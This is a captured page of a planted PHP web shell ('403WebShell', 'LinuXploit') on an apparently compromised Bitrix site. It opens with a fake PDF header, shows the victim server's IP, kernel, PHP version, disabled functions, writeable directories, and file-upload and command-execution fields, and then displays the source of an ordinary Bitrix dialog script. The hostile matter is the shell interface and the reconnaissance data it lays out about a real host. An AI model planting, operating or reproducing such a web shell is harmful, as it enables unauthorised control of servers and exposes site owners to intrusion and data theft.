%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.107.215
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/scale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/scale/actionresultdialog.js
/**
 * Class BX.Scale.ActionResultDialog
 */
;(function(window) {

	if (BX.Scale.ActionResultDialog) return;

	/**
	 * Class BX.Scale.ActionResultDialog
	 * @constructor
	 */
	BX.Scale.ActionResultDialog = function (params)
	{
		this.dialogWindow = null;
		this.result = params.result;
		this.actionName = params.actionName;
		this.pageRefresh = params.pageRefresh;
	};

	BX.Scale.ActionResultDialog.prototype.buildContent = function()
	{
		var result = "";

		if(this.result.ACTION_RESULT)
		{
			result = "<table class='bx-adm-scale-action-result-table'>";

			result += "<tr><th>"+BX.message("SCALE_PANEL_JS_ARD_NAME")+
				"</th><th>"+BX.message("SCALE_PANEL_JS_ARD_RESULT")+
				"</th><th>"+BX.message("SCALE_PANEL_JS_ARD_MESSAGE")+
				"</th></tr>";

			for(var actId in this.result.ACTION_RESULT)
			{
				var message = "",
					actionResult = this.result.ACTION_RESULT[actId];

				if(actionResult.ERROR)
					message += actionResult.ERROR;
				else if(actionResult.OUTPUT && actionResult.OUTPUT.DATA && actionResult.OUTPUT.DATA.message)
					message = actionResult.OUTPUT.DATA.message;

				result += "<tr>";
				result += "<td>"+this.result.ACTION_RESULT[actId].NAME+"</td>";

				if(actionResult.RESULT == "OK")
					result += "<td style='text-align: center;'><span style='color: green;'>OK</span></td>";
				else
					result += "<td style='text-align: center;'><span style='color: red;'>"+BX.message("SCALE_PANEL_JS_ERROR")+"</span></td>";

				result += "<td><pre>"+BX.util.htmlspecialchars(message)+"</pre></td>";

				result += "</tr>";
			}
			result += "</table>";
		}

		return result;
	};

	BX.Scale.ActionResultDialog.prototype.show = function()
	{
		var content = this.buildContent();
		BX.Scale.currentActionResultDialogContext = this;

		var btnClose = BX.CAdminDialog.btnClose;

		if(this.pageRefresh)
		{
			btnClose.action = function ()
			{
				this.parentWindow.Close();
				BX.Scale.AdminFrame.waitForPageRefreshing();
				window.location.reload(true);
			};
		}

		this.dialogWindow = new BX.CDialog({
			title: BX.message("SCALE_PANEL_JS_ARD_RES"),
			content: content,
			resizable: true,
			height: 500,
			width: 600,
			buttons: [ btnClose ]
		});

		this.dialogWindow.Show();
		this.dialogWindow.adjustSizeEx();
	};

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit